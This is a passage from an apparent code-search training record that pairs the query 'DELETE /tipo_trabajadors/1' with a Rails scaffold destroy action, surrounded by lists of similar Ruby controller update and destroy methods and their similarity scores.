"def update\n respond_to do |format|\n if @tipo_consulta.update(tipo_consulta_params)\n format.html { redirect_to @tipo_consulta, notice: 'Tipo consulta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_consulta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_consulta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoveiculo.update(tipoveiculo_params)\n format.html { redirect_to @tipoveiculo, notice: 'Tipoveiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoveiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tetramod = Tetramod.find(params[:id])\n\n respond_to do |format|\n if @tetramod.update_attributes(params[:tetramod])\n format.html { redirect_to @tetramod, notice: 'Tetramod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tetramod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tare = Tare.find(params[:id])\n\n respond_to do |format|\n if @tare.update_attributes(params[:tare])\n format.html { redirect_to @tare, notice: 'Tare modifiée avec succès.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tare.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @precio_boleto.update(precio_boleto_params)\n format.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_comunicacao.update(tipo_comunicacao_params)\n format.html { redirect_to @tipo_comunicacao, notice: 'Tipo comunicacao was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_comunicacao }\n else\n format.html { render :edit }\n format.json { render json: @tipo_comunicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_gen\n respond_to do |format|\n # En etiquetas pone usuario actual por omision\n if (!params[:caso][:caso_etiqueta_attributes].nil?)\n params[:caso][:caso_etiqueta_attributes].each do |k,v|\n if (v[:usuario_id].nil? || v[:usuario_id] == \"\")\n v[:usuario_id] = current_usuario.id\n end\n end\n end\n\n # En familiares si falta crear trelacion_persona para personas\n # autocompletadas los crea\n if caso_params[:victima_attributes]\n caso_params[:victima_attributes].each do |iv, v|\n if v[:persona_attributes] &&\n v[:persona_attributes][:persona_trelacion1_attributes]\n v[:persona_attributes][:persona_trelacion1_attributes].each do |it, t|\n if t && (!t[:id] || t[:id] == '') &&\n t[:personados_attributes] &&\n t[:personados_attributes][:id] &&\n t[:personados_attributes][:id].to_i > 0 &&\n Msip::Persona.where(\n id: t[:personados_attributes][:id].to_i).count == 1\n pt_e = Msip::PersonaTrelacion.where(\n persona1: v[:persona_attributes][:id],\n persona2: t[:personados_attributes][:id]\n )\n if !pt_e\n pt = Msip::PersonaTrelacion.create({\n persona1: v[:persona_attributes][:id],\n persona2: t[:personados_attributes][:id]\n })\n pt.save!(validate: false)\n params[:caso][:victima_attributes][iv][:persona_attributes][:persona_trelacion1_attributes][it][:id] = pt.id\n else\n params[:caso][:victima_attributes][iv][:persona_attributes][:persona_trelacion1_attributes][it][:id] = pt_e[0].id\n end\n end\n end\n end\n end\n end\n\n if params[:_msip_enviarautomatico] == \"1\"\n params_finales = caso_params.except(\n :caso_etiqueta_attributes,\n :caso_anexo_attributes,\n :caso_fuenteprensa_attributes,\n :caso_fotra_attributes,\n :caso_presponsable_attributes\n )\n else\n params_finales = caso_params\n end\n\n if @caso.update(params_finales)\n\n\n if registrar_en_bitacora\n Msip::Bitacora.agregar_actualizar(\n request, :caso, :bitacora_cambio, \n current_usuario.id, params, 'Sivel2Gen::Caso',\n @caso.id\n )\n end\n\n #if request.params[:enviarFichaCaso] == '1'\n # head :no_content\n # return\n #end\n\n notificacion = 'Caso actualizado.'\n if Sivel2Gen::Caso.count > MAX_CASOS_REFRESCA_AUTOMATICO\n notificacion += \" Por la cantidad de casos \"+\n \" debe Refrescar para notar \" +\n \" el cambio en el listado de casos\"\n end\n format.html {\n redirect_to @caso,\n notice: notificacion\n }\n format.json { head :no_content }\n format.js { head :no_content }\n else\n format.html {\n if session[:capturacaso_acordeon]\n render 'editv', layout: 'application'\n else\n render 'edit', layout: 'application'\n end\n }\n format.json { render json: @caso.errors,\n status: :unprocessable_entity }\n format.js { render json: @caso.errors,\n status: :unprocessable_entity }\n end\n end\n begin\n @conscasocount = Conscaso.count\n if @conscasocount <= MAX_CASOS_REFRESCA_AUTOMATICO\n puts Conscaso.refresca_conscaso\n end\n rescue\n puts Conscaso.refresca_conscaso\n @conscasocount = Conscaso.count\n end\n end",
"def update\n respond_to do |format|\n if @tangazo.update(tangazo_params)\n format.html { redirect_to @tangazo, notice: 'Tangazo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tangazo }\n else\n format.html { render :edit }\n format.json { render json: @tangazo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_ventum.update(tipo_ventum_params)\n format.html { redirect_to @tipo_ventum, notice: 'Tipo ventum was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_ventum }\n else\n format.html { render :edit }\n format.json { render json: @tipo_ventum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_funcionario.update(tipo_funcionario_params)\n format.html { redirect_to @tipo_funcionario, notice: 'Tipo funcionario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipo_funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tb_solicitud.update(tb_solicitud_params)\n format.html { redirect_to @tb_solicitud, notice: 'Tb solicitud was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_solicitud }\n else\n format.html { render :edit }\n format.json { render json: @tb_solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tecnico = Tecnico.find(params[:id])\n @tecnico.user = current_user\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, notice: 'Técnico foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @taux_tva = TauxTva.find(params[:id])\n\n respond_to do |format|\n if @taux_tva.update_attributes(params[:taux_tva])\n format.html { redirect_to(@taux_tva, :notice => 'Taux tva was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tva}}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @taux_tva.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @orgao = Orgao.find(params[:id])\n\n params[:orgao][:tipo_atendimento_ids] ||= []\n respond_to do |format|\n if @orgao.update_attributes(params[:orgao])\n\t\tformat.html { redirect_to @orgao, notice: \"Local de atendimento: #{@orgao.nome}, foi atualizado com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orgao.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6830515",
"0.66924304",
"0.6628453",
"0.66159123",
"0.65230185",
"0.64359015",
"0.6402536",
"0.6401434",
"0.6396593",
"0.6382682",
"0.6351393",
"0.631393",
"0.63039446",
"0.62860847",
"0.62812626",
"0.6269185",
"0.62585235",
"0.6235594",
"0.62296796",
"0.6224965",
"0.6217596",
"0.6211625",
"0.6210012",
"0.6199622",
"0.6191572",
"0.61831415",
"0.61739624",
"0.6171143",
"0.61680853",
"0.6163076",
"0.6142507",
"0.6142402",
"0.6139975",
"0.61370784",
"0.6133252",
"0.6126004",
"0.61258745",
"0.6115223",
"0.61108804",
"0.6109411",
"0.61072564",
"0.61028445",
"0.6096326",
"0.6092061",
"0.60886574",
"0.60886526",
"0.6083002",
"0.60764915",
"0.6075399",
"0.6070814",
"0.60500133",
"0.6048614",
"0.604776",
"0.6041115",
"0.60392433",
"0.60360634",
"0.60302484",
"0.60301435",
"0.60297614",
"0.60271347",
"0.6025496",
"0.6025077",
"0.60112274",
"0.6005878",
"0.6005248",
"0.5994231",
"0.59929144",
"0.5990925",
"0.59908634",
"0.5990421",
"0.5989778",
"0.5987997",
"0.5987141",
"0.59855175",
"0.59817845",
"0.597705",
"0.59763473",
"0.59740365",
"0.5964162",
"0.59641343",
"0.595881",
"0.5953282",
"0.59510607",
"0.5949954",
"0.5947466",
"0.5944922",
"0.59442693",
"0.5939795",
"0.5937672",
"0.59363306",
"0.593115",
"0.59226584",
"0.5921312",
"0.59200704",
"0.59199536",
"0.59182924",
"0.5917641",
"0.5917192",
"0.59151816",
"0.59122"
] |
0.6860651
|
0
|
DELETE /tipo_trabajadors/1 DELETE /tipo_trabajadors/1.json
|
def destroy
@tipo_trabajador.destroy
respond_to do |format|
format.html { redirect_to tipo_trabajadors_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_contratos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_plan.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end",
"def destroy\n @trabalho = Trabalho.find(params[:id])\n @trabalho.destroy\n\n respond_to do |format|\n format.html { redirect_to trabalhos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @detalle_orden_trabajo.destroy\n respond_to do |format|\n format.html { redirect_to @orden_trabajo, notice: 'Detalle fue eliminado con éxito.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona_tipo = PersonaTipo.find(params[:id])\n @persona_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to persona_tipos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tipo_distribucion.destroy\n respond_to do |format|\n format.html { redirect_to tipos_distribuciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_actividad = TipoActividad.find(params[:id])\n @tipo_actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_actividads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trabajo.destroy\n respond_to do |format|\n format.html { redirect_to cliente_url(@cliente), notice: 'Trabajo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trnodo = Trnodo.find(params[:id])\n @trnodo.destroy\n\n respond_to do |format|\n format.html { redirect_to trnodos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n @denuncia_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to denuncia_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_de_imposto.destroy\n respond_to do |format|\n format.html { redirect_to @empresa, notice: 'Tipo de imposto removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solicitacao_tipo.destroy\n respond_to do |format|\n format.html { redirect_to solicitacao_tipos_url }\n format.json { head :no_content }\n end\n end",
"def borrar \n\n fiesta.destroy\n render json: fiesta \n end",
"def destroy\n @orden_trabajo.destroy\n respond_to do |format|\n format.html { redirect_to orden_trabajos_url, notice: 'La Orden trabajo se ha eliminado correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treinamento_ti.destroy\n respond_to do |format|\n format.html { redirect_to treinamentos_ti_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_actividad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_actividads_url, notice: 'Tipo actividad se elimino correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidads_url, notice: 'Tipo unidad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_orden.destroy\n respond_to do |format|\n format.html { redirect_to tipo_ordens_url, notice: 'Tipo orden was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trabajo.destroy\n respond_to do |format|\n format.html { redirect_to trabajos_url, notice: 'Trabajo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t @trabajo.destroy\n\t\t respond_to do |format|\n\t\t format.html { redirect_to admin_trabajos_path, notice: 'El Trabajo se ha eliminado.' }\n\t\t format.json { head :no_content }\n\t\t end\n\t\t end",
"def destroy\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n @core_tipo_unidade.destroy\n\n respond_to do |format|\n format.html { redirect_to core_tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n @tipo_vehiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_vehiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tiposveiculo.destroy\n respond_to do |format|\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @tipo_funcionario.destroy\n respond_to do |format|\n format.html { redirect_to tipo_funcionarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trabajador_seccion.destroy\n respond_to do |format|\n format.html { redirect_to trabajador_seccions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_persona.destroy\n respond_to do |format|\n format.html { redirect_to tipos_personas_url, notice: 'Tipo persona was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tecnico = Tecnico.find(params[:id])\n @tecnico.destroy\n\n respond_to do |format|\n format.html { redirect_to tecnicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tecnico = Tecnico.find(params[:id])\n @tecnico.destroy\n\n respond_to do |format|\n format.html { redirect_to tecnicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tecnico = Tecnico.find(params[:id])\n @tecnico.destroy\n\n respond_to do |format|\n format.html { redirect_to tecnicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoveiculo.destroy\n respond_to do |format|\n format.html { redirect_to tipoveiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoocorrencium.destroy\n respond_to do |format|\n format.html { redirect_to tipoocorrencia_url, notice: 'Tipoocorrencium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @titulacion.destroy\n respond_to do |format|\n format.html { redirect_to titulaciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bolsa_trabajo.destroy\n respond_to do |format|\n format.html { redirect_to bolsa_trabajos_url, notice: 'Bolsa trabajo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_pensum = TipoPensum.find(params[:id])\n @tipo_pensum.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_pensums_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tatoo.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end",
"def destroy\n set_redireccion\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to @redireccion, notice: 'Tabla was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to tipo_referencia_bases_url, notice: \"Tipo referencia base was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @biometria.destroy\n respond_to do |format|\n format.html { redirect_to index_biometria_path(params[:paciente_id]), notice: 'Biometria elimino correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_agressor.destroy\n respond_to do |format|\n format.html { redirect_to tipo_agressores_url, notice: @@msgs }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_compra.destroy\n respond_to do |format|\n format.html { redirect_to tipo_compras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipovestuario.destroy\n respond_to do |format|\n format.html { redirect_to tipovestuarios_url, notice: 'Tipovestuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tumor.destroy\n respond_to do |format|\n format.html { redirect_to tumors_url, notice: 'El registro se elimino con exito.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_usuario = TipoUsuario.find(params[:id])\n @tipo_usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipos_contratos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @solicitudrecurso = Solicitudrecurso.find(params[:id])\n @tramos=Peticion.where(\"solicitudrecurso_id = ?\",@solicitudrecurso.id).to_a # busco todos los tramos que tenian el id\n @tramos.each {|tramo| tramo.destroy} # los elimino en cascada\n @solicitudrecurso.destroy\n \n respond_to do |format|\n format.html { redirect_to(solicitudrecursos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipomedalla = Tipomedalla.find(params[:id])\n @tipomedalla.destroy\n\n respond_to do |format|\n format.html { redirect_to tipomedallas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoenvolvido.destroy\n respond_to do |format|\n format.html { redirect_to tipoenvolvidos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_consulta.destroy\n respond_to do |format|\n format.html { redirect_to tipo_consultas_url, notice: 'Tipo consulta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_de_imovel.destroy\n respond_to do |format|\n format.html { redirect_to tipo_de_imovels_url, notice: 'Tipo de imovel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tattoo = Tattoo.find(params[:id])\n @tattoo.destroy\n\n respond_to do |format|\n format.html { redirect_to tattoos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @daw_trabajo.destroy\n respond_to do |format|\n format.html { redirect_to daw_trabajos_url, notice: 'Daw trabajo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solicitudrecurso = Solicitudrecurso.find(params[:id])\n @solicitudrecurso.destroy\n @tramos=Peticion.find_all_by_solicitudrecurso_id(@solicitudrecurso.id) # busco todos los tramos que tenian el id\n @tramos.each {|tramo| tramo.destroy} # los elimino en cascada\n\n respond_to do |format|\n format.html { redirect_to(solicitudrecursos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_negocio = TipoNegocio.find(params[:id])\n @tipo_negocio.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_negocios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tb_solicitud.destroy\n respond_to do |format|\n format.html { redirect_to tb_solicituds_url, notice: 'Tb solicitud was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @evolucao_tipo.destroy\n respond_to do |format|\n format.html { redirect_to evolucao_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalle = @recibo.renglon_recdetalles.find(params[:id]).destroy\n\n respond_to do |format|\n format.html { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @trabajador.destroy\n respond_to do |format|\n format.html { redirect_to trabajadors_url, notice: 'Trabajador was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tangazo.destroy\n respond_to do |format|\n format.html { redirect_to tangazos_url, notice: 'Tangazo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_aposta.destroy\n respond_to do |format|\n format.html { redirect_to tipo_apostas_url, notice: 'Tipo aposta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_veiculo.destroy\n respond_to do |format|\n format.html { redirect_to tipo_veiculos_url, notice: 'Tipo veiculo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_cancha.destroy\n respond_to do |format|\n format.html { redirect_to tipo_canchas_url, notice: 'Tipo cancha was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @telefononegocio = Telefononegocio.find(params[:id])\n @telefononegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to telefononegocios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_despesa.destroy\n respond_to do |format|\n format.html { redirect_to tenant_tipo_despesas_path(tenant_id: @tenant.id), notice: 'Tipo despesa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @requerimiento = Requerimiento.find(params[:id])\n @requerimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to requerimientos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tipo_ventum.destroy\n respond_to do |format|\n format.html { redirect_to tipo_venta_url, notice: 'Tipo ventum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipocosto.destroy\n respond_to do |format|\n format.html { redirect_to tipocostos_url, notice: 'Tipocosto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gran_unidad.destroy\n respond_to do |format|\n format.html { redirect_to gran_unidad_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nota_tecnica.destroy\n respond_to do |format|\n format.html { redirect_to nota_tecnicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @habito.destroy\n respond_to do |format|\n format.html { redirect_to index_habito_path(params[:paciente_id]), notice: 'Se elimino el registro' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sotrudniki = Sotrudniki.find(params[:id])\n @sotrudniki.destroy\n\n respond_to do |format|\n format.html { redirect_to sotrudnikis_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reltramovano = Reltramovano.find(params[:id])\n @reltramovano.destroy\n\n respond_to do |format|\n format.html { redirect_to reltramovanos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @titulacao.destroy\n respond_to do |format|\n format.html { redirect_to titulacaos_path, notice: 'Titulo excluído com successo.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @substancia.destroy\n respond_to do |format|\n format.html { redirect_to substancias_url, notice: 'Substancia was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to referencia_bases_url, notice: \"Referencia base was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_usuario.destroy\n respond_to do |format|\n format.html { redirect_to action: \"new\", notice: 'TIpo Usuário deletado com sucesso..' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_tel = TipoTel.find(params[:id])\n @tipo_tel.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_tels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leito = Leito.find(params[:id])\n @leito.destroy\n\n respond_to do |format|\n format.html { redirect_to leitos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @estado_remate.destroy\n respond_to do |format|\n format.html { redirect_to estado_remates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_convenio = TipoConvenio.find(params[:id])\n @tipo_convenio.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_convenios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_pregunta = TipoPregunta.find(params[:id])\n @tipo_pregunta.destroy\n\n head :no_content\n end",
"def destroy\n @tipo_documento = TipoDocumento.find(params[:id])\n @tipo_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_documentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @traslado.destroy\n respond_to do |format|\n format.html { redirect_to traslados_url, notice: 'Traslado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n contrato = @fatura.contrato\n @fatura.destroy\n respond_to do |format|\n format.html { redirect_to contrato, notice: 'Fatura excluída com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicitudes_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.73667073",
"0.7229712",
"0.7203466",
"0.71501136",
"0.71416914",
"0.7120663",
"0.7115516",
"0.71129674",
"0.7096762",
"0.7094668",
"0.70917386",
"0.7079775",
"0.7078534",
"0.70775104",
"0.70770556",
"0.70713866",
"0.70652306",
"0.7058963",
"0.70537335",
"0.70482737",
"0.7044574",
"0.70395356",
"0.70329815",
"0.7022108",
"0.7019421",
"0.701048",
"0.7004468",
"0.6995557",
"0.69875276",
"0.6971293",
"0.6970715",
"0.69688827",
"0.69688827",
"0.69688827",
"0.6966063",
"0.6964823",
"0.69630885",
"0.6954442",
"0.6942475",
"0.6937527",
"0.69320804",
"0.6929829",
"0.69295716",
"0.69233793",
"0.6922714",
"0.69210494",
"0.69209355",
"0.69207174",
"0.6919493",
"0.69182765",
"0.6916121",
"0.6914879",
"0.69147897",
"0.69147444",
"0.6907811",
"0.690114",
"0.69000864",
"0.68935126",
"0.68933225",
"0.6888602",
"0.6887857",
"0.6886593",
"0.68859434",
"0.688417",
"0.68819046",
"0.6876846",
"0.6875433",
"0.6873879",
"0.6873169",
"0.6872765",
"0.6869608",
"0.6856268",
"0.6852664",
"0.6848891",
"0.6846538",
"0.6843905",
"0.6839164",
"0.68388414",
"0.68371224",
"0.68365407",
"0.6835965",
"0.6833816",
"0.6833248",
"0.6833079",
"0.6831278",
"0.6831098",
"0.68279797",
"0.68277335",
"0.6824116",
"0.68215597",
"0.6819982",
"0.6817556",
"0.68148583",
"0.6812098",
"0.6811738",
"0.6808001",
"0.6805805",
"0.68049",
"0.68041104",
"0.67987"
] |
0.7584279
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_tipo_trabajador
@tipo_trabajador = TipoTrabajador.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
